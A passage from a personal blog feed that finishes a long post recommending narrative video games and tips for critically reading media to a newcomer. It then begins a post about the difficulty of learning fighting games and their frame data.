<p>I'd suggest "role-playing" as yourself at the start.<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> Choose the traits you think you have in real life, and play the game doing what you'd do if you were in this situation. Once you've completed the game, you can play it again, but pretend to be someone else with different views and opinions to you.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>While you will kinda just naturally do this in most games if you're not explicitly set out to role-play as someone you're not, Disco Elysium is especially setup for this, with the main character initially having amnesia. Of course, they still have a past and their memories will start returning. Having to rectify your current self with your history is a large part of the experience.</span></aside>
<p>Since might be the first game you ever play, I'll give you a few extra tips:</p>
<ul>
<li>This game has <strong>a lot</strong> of reading, both for the narrative and game mechanics. Make sure you understand what you're reading.</li>
<li>When you first start, spend some time looking at the user interface. Just start pressing buttons to see what it does or where it goes. Most icons and text can also be hovered over to see extra information, you should do this often.</li>
<li>You can see the controls when you pause the game (press the "Main Menu" button at the top left of the screen). If you see a control you're unsure of, just press it when you're unpaused to see what it does.</li>
<li>When you're comfortable with how to play the game, it's okay to start over to experience the beginning again in case you missed stuff while fumbling around with controls.</li>
</ul>
<p>This game is <strong>so much</strong>, I've wanted to talk about it on this blog for so long, and I'm sorry I won't go further into it. But I don't know how to talk about any of it without spoiling it.</p>
<h2 id="outerwilds2020">Outer Wilds (2020)</h2>
<p>Outer Wilds is an exploration-based, open-world mystery about a solar system trapped in an endless time loop. It's the perfect example of a game invoking emotions that other mediums simply can't (at least to this extent) - the primary one being <em>curiosity</em>. At its heart, the game revolves around exploration, the acceptance of one's mortality, and the beauty found in the relentless pursuit of truth, regardless of the inevitable end.</p>
<p>Every 22 minutes, the games' universe resets due to a supernova, erasing all progress but retaining your knowledge and discoveries. You start each loop with a small spacecraft to explore the Newtonian physics sandbox that is the solar system,<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> and are told to just <em>go</em>, in any direction you like.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>A fact I learnt soon after finishing the game is that the orbits of all the celestial bodies in the game are actually simulated in real-time instead of being on set, pre-programmed tracks. As in, they're influenced the same gravitational forces that you are. However their own gravity has been tweaked a little as to not follow the inverse square law (essentially, it has a smaller reach). This is so the planets don't affect each other and alter the course of anything they're not supposed to - they should only be affected by the gravity of the sun.</span></aside>
<p>Not being given an instructions can be a little daunting at first, but you're really just supposed to find interesting things by simply looking around. Eventually, you'll stumble into rabbit holes of discoveries that guide you to deeper, more hidden discoveries.</p>
<p>This exploration of ruins, deciphering of alien texts, and unravelling of the solar system's mysteries encourage thorough engagement with the games' world, making each loop a chance to piece together the larger cosmic puzzle. The game is quite literally <em>awe inspiring</em>.</p>
<p>I think it is probably the most difficult to control in the list for a person new to games, but mostly because of the physics simulation. Most people don't have a good grasp on manoeuvring in zero-g (for obvious reasons), so it can be hard to get to grips with at first, but I found it easy to build the intuition in the game.</p>
<p>Quick tip, if you're using a gamepad controller, most buttons do something in the game. If you're not using a certain button because you don't know what it does, just press it so you see its purpose, then you can think of ways that it can be applied to the game.<span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>I've been stressing the importance of knowing what your buttons do as I often see people new to games get stuck on something because they didn't know all the controls in the game, so they were unaware of the abilities of their character. I think you get the point now, so I'll stop bugging you with it.</span></aside>
<h2 id="hellbladesenuassacrifice2017">Hellblade: Senua's Sacrifice (2017)</h2>
<p>I strongly recommend you play this game with headphones. Hellblade is an experience that fully utilises the audio visual spectrum.</p>
<p>It's also conversation about mental illness, with the main character Senua being a woman suffering from psychosis, an abnormal condition of the mind that involves a loss of contact with reality.</p>
<p>The developers collaborated with neuroscientists and people who experience psychosis to portray the condition authentically. They used <a href="https://en.wikipedia.org/wiki/Binaural_recording">binaural</a> audio to very accurately simulate a three-dimensional space, something very few games have been able to do, to create a completely immersive experience.</p>
<p>You will hear the unnerving and jarring voices all around, some near, some far, always insistent.</p>
<p>Hellblade is shaped by Senua's psychosis, where you'll never fully certain of what's real or the reliability of your perceptions. This uncertainty affects decision-making in the game, as you must choose paths and solve puzzles based on incomplete or distorted information.</p>
<p>The game goes beyond mere representation to foster empathy and understanding. You are not just observers of Senua's journey; You experience a facsimile of her reality, confronting the challenges and stigmas of mental illness.</p>
<p>Combat in the game is simple and a good introduction to third person action games. I think it's very accessible - there isn't much to say about this, you should be good to go, it's pretty straightforward once the game teaches it to you.</p>
<p>This is also by far the most graphically detailed and intensive game on the list. So look at the recommended specs of the game if you're on a lower-end PC. I was also a little worried about the Nintendo Switch version in this regard, so I actually looked it up for you.<span class="footnote-link" id="footnote-6"><sup>(6)</sup></span> And I'm pleased to report that it's surprisingly impressive in how well it runs on the little thing. Possibly the best looking game on the Switch even 5 years later (the Switch version released in April 2019).</p>
<aside class="footnote-body" id="footnote-6-body"><sup>(6)</sup><span>I've not done this for the other games. I am pretty sure they're fine though.</span></aside>
<p>Tip: PLAY THE GAME WITH HEADPHONES.</p>
<h2 id="firewatch2016">Firewatch (2016)</h2>
<p>Firewatch is considered by many to be a <a href="https://en.wikipedia.org/wiki/Walking_simulator">"walking simulator,"</a> which are exploration games played often from the first-person perspective to explore an environment and to discover a narrative about the game, but often have little to no direct interaction with the environment itself.</p>
<p>There are very few choices that matter.</p>
<p>There's little freedom in what you can do.</p>
<p>It's just linear.</p>
<p>Firewatch could probably be a good movie or book with very little changes. But I still put it in this list, because there is still value that it (and all other walking simulators) has with being a game. There are intrinsic qualities that is given to it as a game that allow you just exist in it.</p>
<p>Walking, even in a virtual environment is pretty neat. As Nathalie Lawhead describes in <a href="http://www.nathalielawhead.com/candybox/walking-sims-and-the-joy-of-existing-in-a-virtual-space">"walking sims and the joy of existing in a virtual space."</a></p>
<blockquote>
  <p>Travel can be a beautiful thing. Moving from one place to another, being an observer to the tiny interaction in the world around you. Taking the train to LA is probably one of my favorite things because I get to just take everything in. Traveling on the buss at night is beautiful for all the lights, sounds, the tiny phone screens of other passengers lighting up the buss, looking into the car windows of other drivers passing the buss, staring into lit office windows wondering how it’s like in that room… I’m probably not the only one that enjoys just looking while traveling. People are observant, and curiosity about what we are looking at is what makes traveling fun.</p>
</blockquote>
<p>I find it interesting to compare narratives in walking sims to what I would imagine they would be if they were in different medium. And I always return to an idea around the "ownership of the experience." Firewatch has many beautiful vistas it wants so show you,<span class="footnote-link" id="footnote-7"><sup>(7)</sup></span> and if I were to recall what I saw to someone else I'd say something like this.</p>
<aside class="footnote-body" id="footnote-7-body"><sup>(7)</sup><span>Fun fact, there's a disposable camera somewhere in the game. You can snap pictures of whatever you want and save the images to your device. Upon finishing the game (if you played the PC version), you're given a link to buy actual physical prints of those pictures!</span></aside>
<blockquote>
  <p>I saw a gorgeous lake.</p>
</blockquote>
<p>But if this was another other medium it would be more like this.</p>
<blockquote>
  <p>There was a gorgeous lake.</p>
</blockquote>
<p>Even though that lake doesn't actually exist, and Henry (the main character) was technically the one who saw it, I still use the first person<span class="footnote-link" id="footnote-8"><sup>(8)</sup></span> when recounting it. I dunno, it's a very simple observation but I just find the implications of that incredibly fascinating.</p>
<aside class="footnote-body" id="footnote-8-body"><sup>(8)</sup><span>This would not change if the game was using a third person perspective as well.</span></aside>
<p>Firewatch is one of the more "game-like" walking simulators. There are dialogue options, interactable objects, and an inventory system. It is unquestionably a game. But that honestly doesn't matter.</p>
<p>It's also a very enjoyable narrative about human connection set in the Wyoming wilderness of 1989. Yeah that's right, I'm giving you the synopsis at the <strong>end</strong> of the section, the fuck you going to do about it?</p>
<h2 id="returnoftheobradinn2018">Return of the Obra Dinn (2018)</h2>
<p>The Obra Dinn, an East Indian trade ship, has drifted into port at Falmouth with damaged sails and no visible crew. Everyone is dead, find out what happened.<span class="footnote-link" id="footnote-9"><sup>(9)</sup></span></p>
<aside class="footnote-body" id="footnote-9-body"><sup>(9)</sup><span>I'm sorry I swore at you >.< The synopsis is first this time to make up for it.</span></aside>
<p>You're equipped with an enchanted timepiece, allowing you to witness these moments of demise as frozen snapshots in time with each corpse you encounter. The game is one large puzzle, where you're tasked with determining the fate of all souls on board, including their names, where and how they met their fate, who or what their killer was, and their location should they be alive.</p>
<p>The destiny of each of the crew members is distilled into a succinct sentence capturing their end, focusing solely on their moment of death. Scattered across the ship, these fragmented stories are embodied by the deceased, awaiting discovery.</p>
<p>Return of the Obra Dinn cleverly morphs the narrative into interactive elements, organising them within a framework of gameplay mechanics and rules, showcasing an ingenious approach to storytelling.</p>
<p>I think Ian Danskin (more known as Innuendo Studios) says it best.</p>
<blockquote>
  <p>Determining the fates of all 60 crewmen and passengers on the Obra Dinn becomes a kind of literary archeology. Each death helps piece together a timeline of events, collecting scattered snapshots and the puzzle design demanding that you place them in a mental sequence of cause and effect, motivation and happenstance, until an unstructured series of fantastical images starts to take shape as an actual story with beginning, middle, and end. And, not for nothing, every time the game confirms that you’ve solved another series of fates, you feel like a fucking genius.</p>
  <p>A truly satisfying experience that caters to my narrative and intellectual demands in ways few adventure games do.</p>
  <ul>
  <li><a href="https://innuendostudios.tumblr.com/post/180039250522/thoughts-on-return-of-the-obra-dinn">Thoughts on Return of the Obra Dinn</a></li>
  </ul>
</blockquote>
<p>Of course, there's no discussion of Return of the Obra Dinn without mentioning its distinct art style.</p>
<p>If you've seen a few posts of my blog before, you may have seen an image that looks like this (the contents of the image have no relation to the game, it's just an image of my <a href="/post/hsr_gacha">mum</a> (and her criminal, murderous underlings but let's not get into that)).</p>
<p><img src="/img/kafka2.png" alt="MOMMY KAFKA!!" /></p>
<p>I apply this "noise" to all the images in this blog, in part as a form of compression,<span class="footnote-link" id="footnote-10"><sup>(10)</sup></span> but mostly because it looks interesting. I got the inspiration to do this from Return of the Obra Dinn and after stumbling across <a href="https://surma.dev/things/ditherpunk/">this article</a> from Surma. So imagine this image, but as an interactive game with the style actually made for it instead of just being a filter added programmatically over an existing image.</p>
<aside class="footnote-body" id="footnote-10-body"><sup>(10)</sup><span>This does not actually reduce image sizes by much, I do not recommend it for compression.</span></aside>
<p>You should watch the trailer for the game or something to see what I mean. I think it's more impressive to see it in motion than as a still image on some blog.<span class="footnote-link" id="footnote-11"><sup>(11)</sup></span></p>
<aside class="footnote-body" id="footnote-11-body"><sup>(11)</sup><span>Also the dithering I add to images here would ruin it. I know you can "click image to load original" (I made the thing), but I don't think people actually do that.</span></aside>
<h2 id="signalis2022">Signalis (2022)</h2>
<p>An android named Elster awakens to a crashed ship and a deadly mystery on an arctic planet, embarking on a harrowing journey to find her lost companion.</p>
<p>Pixel art isn't scary, inventory management is.</p>
<p>At the heart of Signalis lies a dystopian tale wrapped in layers of mystery and psychological horror. It's an ode to the survival horror classics, demanding you to navigate a delicate balance between conservation and progression. Ammunition and resources are scarce, so every shot fired and item used requires intention and deliberation before committing to using something you can't replenish easily. It also tests problem-solving skills through many intricately designed puzzles that are as satisfying to solve as they are challenging.</p>
<p>The difficulty, particularly in resource management and puzzle complexity, could be daunting for you if you're unfamiliar with the genre. But, it's this very challenge that fans of survival horror find most rewarding. The game does an excellent job of capturing the essence of what makes survival horror engaging - the thrill of overcoming seemingly insurmountable odds through wit, patience, and perseverance.</p>
<p>Signalis employs a narrative structure that eschews the traditional linear storyline in favour of a more fragmented, multi-perspective approach, which mirrors the complex process of memory retrieval and identity formation - central themes to the games' plot. It presents the story in pieces that you must collect and assemble, transforming itself into the act of understanding its narrative into a personal journey of discovery.</p>
<p>For me, the narrative and atmosphere are the stand out aspects of the game as I've never personally cared much for survival horror mechanics. It has a compelling blend of German and Japanese aesthetics and one of the best executions of a multi-layered story I've seen. Signalis is a game you "finish" multiple times to truly understand what is going on.<span class="footnote-link" id="footnote-12"><sup>(12)</sup></span></p>
<aside class="footnote-body" id="footnote-12-body"><sup>(12)</sup><span>Literally, just because the credits rolled and you got sent back to the title screen doesn't mean the game ended.</span></aside>
<p>Tip: this is a survival horror game, and as is so often with this genre, sometimes when you can't progress forward you have to go back. This isn't a cryptic riddle or anything, I mean that literally. You need to "backtrack" a lot in these games.</p>
<h2 id="rainworld2017">Rain World (2017)</h2>
<p>This game is frustrating, obtuse, and confusing. Rain World is like being thrown scared and naked into the wild, having to survive in a world in which everything wants to and will very easily eat you. I mean I say it's like that, but in reality, that's exactly what it is - except if you were a cute little slugcat (half slug, half cat) instead.</p>
<p>It took me 4 attempts over 3 months to actually get into and start enjoying the game, for it to click, and for me to know what to do and how to understand the systems of the game. This is not a game you should be attempting to play first, or second, maybe even third, hence why it's at the bottom at the list.</p>
<p>The game stands out for its complex simulated ecosystem, where every creature has its behaviours and place in the food chain. Its varied and numerous inhabitants are semi-persistent and can be hostile, neutral or even sometimes friendly, with it being up to you to work out which. Some will compete with you for food, some will hunt you, others will leave you alone if you don't bother them or if they see something tastier. They're sophisticated AI capable of remembering acts of kindness and can conversely bear grudges too.</p>
<p>This boundless, relentless natural environment surrounds you, demanding your understanding and navigation. You cannot conquer it. Your survival hinges on your ability to learn and to adjust. Remember to take shelter from the Rain.</p>
<p>I think it's best to learn the games' mechanics and story yourself, so I'd rather not explain any more than that. You should be thrown into the deep end just as I was.</p>
<p>There are many games that have gained a reputation for being difficult. People often misinterpret this aspect as the being "point" of the game, and that beating it is meant to be held as some kind of badge of honour proving your superiority over others. This is almost entirely incorrect. Very few games seek to be difficult in and of itself (most games do want you to succeed and see the end), but they have specific emotions they want the player to feel, and difficulty often occurs as a side-effect of chasing that vision.</p>
<p>For most other games, that emotion would be accomplishment.</p>
<p>For Rain World, that emotion is harmony.</p>
<p>My only tip is to <del>GIT GUD</del> keep at it. It will take some time to appreciate.</p>
<h2 id="specialmentionkidamnesiaexhibition2021">Special Mention - KID A MNESIA EXHIBITION (2021)</h2>
<p>There were many other walking simulators that I wanted to put into the section that was eventually handed to Firewatch. I just find them an interesting genre of games. This is another interesting one that I'd like to mention because of how different it is.</p>
<p>KID A MNESIA EXHIBITION is a virtual exhibition created for the Radiohead albums "Kid A" and "Amnesiac" for the PlayStation 5 and PC (not Switch, sorry). As explained by Thom Yorke and Stanley Donwood on the <a href="https://blog.playstation.com/2021/11/18/radiohead-explain-the-story-behind-the-creation-of-its-kid-a-mnesia-exhibition-out-today-on-ps5/">PlayStation blog,</a> it was initially supposed to be an in-person installation, but those plans got ruined by COVID.</p>
<p>Kid A is my favourite album ever,<span class="footnote-link" id="footnote-13"><sup>(13)</sup></span> and I found it as a wonderful way to experience the album in a way that I've not seen before or since. It's beautiful and unsettling.</p>
<aside class="footnote-body" id="footnote-13-body"><sup>(13)</sup><span>Because of course it is. It's a musical panic attack, I have to like it. I mean, have you seen the games I've just recommended to you?</span></aside>
<p>I don't really know how to talk about music or art (as imagery), so I'll defer you to <a href="https://merrygoroundmagazine.com/abstract-and-unwelcoming-kid-a-mnesia-exhibition-is-an-unnerving-look-backwards-at-radiohead/">this article</a> written by Taylor Ruckle that I found quite insightful.</p>
<h2 id="wheretogofromhere">Where to go from here</h2>
<p>Most of the games on this list take at most 10 hours to complete one playthrough, with the exception being Disco Elysium which I'd say is 20 hours. Games vary drastically in length, generally correlating with their development budget, and some never actually end - either from not having an "ending" or new content being continually added through updates.</p>
<p>I've mainly recommended lower budget games with less of a time commitment from smaller developers because I know they can run on lower-end hardware and they're generally more interesting pieces of art.</p>
<p>But you should probably get a good idea of the mainstream for context on the industry, as they can be fun in their own right (especially if you've never played something like them before), if not else just to be able to understand other games that comment on the industry and the conventions that come from multi-million dollar budget games.</p>
<p>I'm not trying to diss high budget games, I recognise they do their own thing and it's just that thing most of the time doesn't appeal to what I'm looking for (although on very rare occasions the stars can align and all that money can create phenomenal art). But to be fair and balanced, I'll tell you about some of the things I like about a few mainstream <a href="https://en.wikipedia.org/wiki/AAA_(video_game_industry)">AAA</a> franchises that may be overlooked by people like me.</p>
<ul>
<li>Assassin's Creed</li>
</ul>
<p>Ubisoft have made some of the most beautifully detailed worlds ever created. So much so that I've been legitimately impressed by their <a href="https://www.ubisoft.com/en-us/game/assassins-creed/discovery-tour">"Discovery Tours",</a> which are "[…] dedicated games that let visitors freely roam Ancient Greece, Ancient Egypt and the Viking Age to learn more about their history and daily life. Students, teachers, non-gamers, and players can discover these eras at their own pace, or embark on guided tours and stories curated by historians and experts."</p>
<p>And even while Discovery Tours weren't introduced much later into the franchise, I learnt more about Parisian geography and landmarks playing Assassin's Creed Unity then I did actually going to Paris for 2 weeks.</p>
<ul>
<li>The Last of Us</li>
</ul>
<p>This one probably isn't actually overlooked. Though I think the fact that the first game (and soon to be second) could get turned into a critically acclaimed TV show with very few changes to narrative structure and pacing is a mark against it as a video game but w/e,<span class="footnote-link" id="footnote-14"><sup>(14)</sup></span> it's still great by itself and in my (apparently controversial) opinion, is elevated even higher by the bold subversions made by the second game.</p>
<aside class="footnote-body" id="footnote-14-body"><sup>(14)</sup><span>To put it short: I think the gameplay and story are too separated, I don't think it's good that you can just take the gameplay out and still have the story, and its themes/mood completely intact.<br/><br/>With walking simulators like Firewatch, gameplay and story happen concurrently, which allow you to intertwine their themes together more easily. With The Last of Us, it's mostly - you play the game to get to a cutscene where the story happens. Don't get me wrong, both elements of the game are excellent, but they don't really interact or affect each other.<br/><br/>And while there are definitely attempts to tell the story through gameplay, very few couldn't also just be a cutscene.<br/><br/>I still stand by saying Firewatch would make a good book or movie, but I feel you'd be missing more from its adaptation then with the TV adaptation of The Last of Us compared to the game.<br/><br/>Okay I admit, this wasn't actually that short.</span></aside>
<p>I think going where what the second game did with its narrative was a huge risk (as shown by the audience reaction), am I'm honestly just impressed that a multi-million dollar game would do that in the first place, and then be able to pull it off (for pretentious pricks like me, a lot of people hated it).</p>
<ul>
<li>Grand Theft Auto/Red Dead Redemption</li>
</ul>
<p>These are probably some of the most influential games to have been created in terms of world building. All those millions of dollars have to go somewhere, and like other AAA companies, Rockstar puts it into the fine details. But unlike the other AAA companies, that detail is for making sure horses defecate correctly.</p>
<p>Okay, I'm saying it's more like they put their work in making the worlds feel real through environmental <em>systems</em> rather than environment <em>fidelity</em>. Although the fidelity in Rockstar games are actually still on par, and a lot of the time exceeding the other big players. Which is kinda crazy.</p>
<ul>
<li>Battlefield</li>
</ul>
<p>I've not yet talked about a multiplayer game, and this is the only time I will. The artistry in these are normally from things like character/weapon balance, game mechanics/systems, map design, etc. which as I've said before, are harder for outsiders to appreciate.<span class="footnote-link" id="footnote-15"><sup>(15)</sup></span></p>
<aside class="footnote-body" id="footnote-15-body"><sup>(15)</sup><span>Trust me, I'd love to talk at length about how I think Rocket League is mechanical perfection and the only competitive multiplayer game that truly deserves the title of "eSport."</span></aside>
<p>There is a whole other layer to games that occur when you add other people to the equation, either cooperatively or competitively. In particular, the multiplayer sandbox environment of Battlefield gives rise to what are commonly known as "Battlefield moments." These are hard to define, but is what happens when you strap a bunch of C4 to the bottom of a tank, detonate it so the tank is sent flying upwards, then shoot a passing by fighter jet with the tanks' cannon while still mid air.</p>
<p>There is art in being cool as fuck.</p>
<p>Anyway back on topic, if you're still using the Nintendo Switch, you'll most likely need to move on from it. A proper desktop PC would be the ideal, but another console like the PlayStation 5 would be perfectly fine as well, although you will be more limited in terms of games and control methods. Very few games that are on a console aren't on a PC, and even then, depending on the age of the console, the game can be very easily <a href="https://en.wikipedia.org/wiki/Video_game_console_emulator">emulated.</a></p>
<p>In terms of where to find more games, I don't really know, that's sort of dependant on you and where you like to get information from. I'm not even completely sure on where I get my information of games from, it sort of just completely surrounds my experience on the Internet so that a good game will usually just find me by itself.</p>
<p>I guess you could just browse the storefront of your platform for a little while, and lookup games that seem interesting to you. Apart from that, if you already have a process for finding recommendations of a different media, try finding a similar alternative for games.</p>
<p>But if you really want recommendations <strong>RIGHT NOW</strong>, I'll give you the long-list of games that I considered putting in the short-list but decided not to for various reasons that I will never share and will bring with me to my grave, just to spite you &gt;:) This is also in descending order of closest to furthest from being put on the short-list.</p>
<ul>
<li>Undertale (2015)</li>
<li>Elden Ring (2022)</li>
<li>What Remains of Edith Finch (2017)</li>
<li>The Forgotten City (2021)</li>
<li>Ghost Trick: Phantom Detective (2010)</li>
<li>Minecraft (2011)</li>
<li>Kentucky Route Zero (2020)</li>
<li>Dragon's Dogma 2 (2024)</li>
<li>Fallout: New Vegas (2010)</li>
<li>SHENZHEN I/O (2016)</li>
<li>Journey (2012)</li>
<li>Hollow Knight (2017)</li>
<li>Celeste (2018)</li>
<li>The Legend of Zelda: Tears of the Kingdom (2023)</li>
<li>Nier: Automata (2017)</li>
<li>Inside (2016)</li>
<li>Death Stranding (2019)</li>
<li>A Hand With Many Fingers (2020)</li>
<li>ZeroRanger (2018)</li>
<li>Cyberpunk 2077 (2020)</li>
<li>Papers, Please (2013)</li>
<li>Fez (2014)</li>
<li>Life is Strange (2015)</li>
</ul>
<p>Also I recognise that I've only been recommending games made after 2010. This hasn't exactly been on purpose, but as a 24 year old, it's harder for me to appreciate games on older tech.<span class="footnote-link" id="footnote-16"><sup>(16)</sup></span> There are a lot of "older" games that I haven't played on or near their release date but have loved playing in retrospect though, I'll add some of them to the list if you were curious. I still recommend playing them now, I believe they all hold up well in today's landscape.</p>
<aside class="footnote-body" id="footnote-16-body"><sup>(16)</sup><span>To put it long (I've learnt my lesson): I'm not saying old games are bad, it's just that in the context of me growing up with more technologically sophisticated games where game design is a more established field with more well known good practices, I don't find it that enjoyable to play older games as a product on their own merits.<br/><br/>But, that doesn't mean they don't have any value! I can look at a game like the original Doom and understand the incredible influence it had on the industry. I just don't want to play Doom. Because it sucks. And I'd rather play Ultrakill (a game you can very clearly trace back to Doom) for another hundred hours.<br/><br/>So then, we could get into the discussion of whether to or in what circumstances you should judge a game by its value in the contemporary era or its historic environment. And that would be a fun discussion I would enjoy having. More fun than playing Doom in fact.<br/><br/>And FYI, to put it into perspective as to why I don't really touch games before Y2K (this digression is actually for someone who plays video games and knows what I'm talking about) the first FPS I've ever played was Far Cry 3. Feel old yet, boomer?</span></aside>
<ul>
<li>Deus Ex (2000)</li>
<li>Metal Gear Solid 1 (1999), 2 (2001), and 3 (2004)</li>
<li>Planescape: Torment (1999)</li>
<li>Shadow of the Colossus (2005)</li>
<li>Okami (2006)</li>
<li>System Shock 2 (1999)</li>
<li>Portal (2007)</li>
<li>Diablo II (2000)</li>
<li>Metroid Prime 1 (2002), 2 (2004), and 3 (2007)</li>
<li>Final Fantasy X (2002)</li>
<li>Super Smash Bros. Melee (2001)*</li>
</ul>
<p>* Okay, you might think this one definitely needs some explaining. Too bad, I'm still not going to explain it :)</p>
<h2 id="epilogue">Epilogue</h2>
<p>I've gone through this post assuming you know how to read art and critically think about it. I don't really know what the "benefits" of critically reading texts are. But I find it as a way to further enjoy media I like, even for those that don't seem that "deep" at first.<span class="footnote-link" id="footnote-17"><sup>(17)</sup></span></p>
<aside class="footnote-body" id="footnote-17-body"><sup>(17)</sup><span>The latest example of this for me is Armored Core VI, a game about big robots shooting the shit out of each other in space for magic space oil. The story of the game is given to you by what is essentially Zoom meetings where everyone has their camera off, yet by the end of the game I started to become attached to these disembodied voices. Playing it again, making different choices in story and gameplay, and dissecting the game to help me understand why was just as fun as doing the shooty.</span></aside>
<p>If you have literally any thoughts about media you've seen, you've already done some critical thinking, but probably in a less nuanced way. I recommend at least trying a more critical read of your favourite text (video game or otherwise) so that you can perhaps appreciate it more.</p>
<p>Critically reading something involves analysing and evaluating the content in a thoughtful, questioning manner, rather than passively consuming it. It's about engaging with media on a deeper level to understand its messages, intentions, and impacts. Here's a few general things I think you should attempt to do while reading your text.</p>
<ul>
<li>Understand the context</li>
</ul>
<p>At some point you should try looking into the context in which the text was created. Consider who created the media and their potential biases or perspectives. This includes the designers, writers, directors, producers, and funding sources. If I don't already know about the context, I usually do this after I've finished the text so I can determine if I liked the text enough for it to be actually worth looking into.</p>
<ul>
<li>Analyse the content</li>
</ul>
<p>Identify the central messages or themes. Ask yourself what the media is trying to communicate, whether explicitly or subtly. Notice the techniques used to convey messages or emotions, such as camera angles, lighting, sound, and special effects, or even level design for video games.</p>
<ul>
<li>Question the purpose</li>
</ul>
<p>Think about who the media is aimed at. What demographic is it targeting, and how does that influence its content and style? Consider whether the media has a specific goal, such as informing, entertaining, persuading, or selling something.</p>
<ul>
<li>Consider your own reaction</li>
</ul>
<p>Reflect on your emotional response to the media. Why did you react the way you did? How might your own experiences, values, or biases influence your reaction? And assess the quality of the media. This can include the coherence of its arguments, the originality of its approach, or its artistic merit.</p>
<ul>
<li>Compare with other sources</li>
</ul>
<p>I think it's important to seek out other critiques on the text from different creators or perspectives. This can provide a more rounded understanding, and it's also just fun to hear other peoples' opinions. For video games, I highly recommend watching video essays by <a href="https://www.youtube.com/@broadcaststsatic">Noah Caldwell-Gervais</a> and <a href="https://www.youtube.com/@JacobGeller">Jacob Geller</a> to start.</p>
<p>Finally, I realise that is the longest posts I ever written on this blog so far.<span class="footnote-link" id="footnote-18"><sup>(18)</sup></span> I can see the irony in calling it a "short list," so thanks for sticking it out so long. As you can probably guess this is a topic I'm very passionate about.</p>
<aside class="footnote-body" id="footnote-18-body"><sup>(18)</sup><span>And I actually tried keeping it short. It could have been a whole lot longer, there are so many more games I could have and wanted to talk about. There was even an entire section about modding I planned for, but that got cut.</span></aside>
<p>Video games are something I think about a lot, and I'd like more people to be able to talk about them. With most gamers it's a little obvious that they don't really - for lack of a nicer term - <em>pay attention</em>.</p>
<p>To be fair, I don't think that is a major problem, there are certainly more pressing issues in the world. Most people don't really think that much about their entertainment in general, they have other things to worry about. I recognise that having the spare time to spend dissecting video games is certainly a privilege many others don't have.</p>
<p>I only started going down this road in 2015 when Metal Gear Solid V came out, which was a certain… je ne sais quoi. I don't know, the best I can describe it was that I couldn't really understand its existence, and I became determined to use the spare time I gained by ignoring my school work because I had this cool laptop to play games on to understand what it really <em>was</em>.</p>
<p>But that's a story for another time.</p>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Fighting Games Are Fucked Up]]></title>
        <id>https://justin.duch.me/post/fighting_games</id>
        <link href="https://justin.duch.me/post/fighting_games"/>
        <updated>2024-02-29T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>I've been slowly trying to get into fighting games for the past year, mostly in preparation for Project L, now titled 2XKO (stupid name), Riot's upcoming game set in the League of Legends world.</p>
<p>It's been rough.</p>
<p>I've never felt so out of depth trying to properly learn a new video game genre before. And I've learnt to play a lot of genres - those bullet hells where you have to dodge thousands of projectiles for several minutes on end? Piece of piss, you can basically just memorise a few bullet patterns and then get through any game mostly fine. Speed-running Dark Souls? More like speed-running Baby Souls because the game is so easy a baby could play it. Rhythm games going at insane speeds requiring you to do at least 20 key presses per second? Also just pattern matching (and a bit of timing), I could do that shit with half the screen hidden. Doing sick aerials in Rocket League? Yeah, I DO THOSE.</p>
<p>But not fighting games. Fighting games are probably the most intimidating thing I've ever tried to learn. Like I know what I need to do to get better. I just don't see how it's possible.</p>
<p>Let's talk about frame data.</p>
<p>Pretty much all fighting games are capped at 60 frames per second (fps). If you're a PC gamer™, this at first glance sounds unacceptable. I normally play games at over 120 fps<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> so anything below 90 fps looks like a stop motion film to me. But having a fixed 60 fps is basically the only way for these games to work because their mechanics are designed and balanced around the frame rate.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>My monitor supports 144 fps, but I can accept losing 24 frames for better visuals if needed.</span></aside>
<p>So, frame data is <a href="https://glossary.infil.net/?t=Frame%20Data">a complete list of the inner workings of every move in a fighting game.</a><span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> It tells you how many frames a particular move takes to start (startup frames), how long it lasts (active frames), and how long the character takes to recover after the move is done (recovery frames). It also describes what the frame advantage/disadvantage is when the move hits or is blocked (I'll explain this later).</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>This glossary by infil.net is probably the most useful tool I've ever used for a video game.</span></aside>
<p><img src="/img/bridget-framedata.png" alt="Frame data table for Bridget from Guilty Gear" /></p>
<p>This is a small part of Dustloop's<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> <a href="https://www.dustloop.com/w/GGST/Bridget/Frame_Data">frame data table</a> for Bridget from Guilty Gear Strive.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Dustloop is a wiki/information hub for games made by Arc System Works.</span></aside>
<p>Let's look at her <code class="prettyprint">5P</code><span class="footnote-link" id="footnote-4"><sup>(4)</sup></span> (the first row), which is a basic jab, typically one of the fastest and most basic attacks a character has, used for quick pokes or to interrupt an opponent's actions.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>We won't be getting into the different kinds of fighting game notation for inputs (another thing that makes them difficult to get into). But just know that 5P in Guilty Gear means "neutral punch", meaning you press the punch button without any directional controls, as opposed to something like 4P which is pressing the punch button while pressing on the left direction.</span></aside>
<p>Skipping the damage and guard columns because they aren't important for this scenario, this attack has 8 startup frames, which means if the opponent pressed a button on the same frame as you but chose a move with longer startup frames (anything over 8), your move will "win", hit them and cancel their move by putting them into hitstun. <span class="footnote-link" id="footnote-5"><sup>(5)</sup></span></p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>The period of time when your character cannot perform any action after getting hit by an attack.</span></aside>
<p>The active frames are the number of frames during which a move can actually hit an opponent. During this time, the attack's hurtbox (the area where it can make contact with an opponent) is active, when it collides with the opponents hitbox, the attack is registered. The length of this period can affect how easy it is to time a hit.</p>
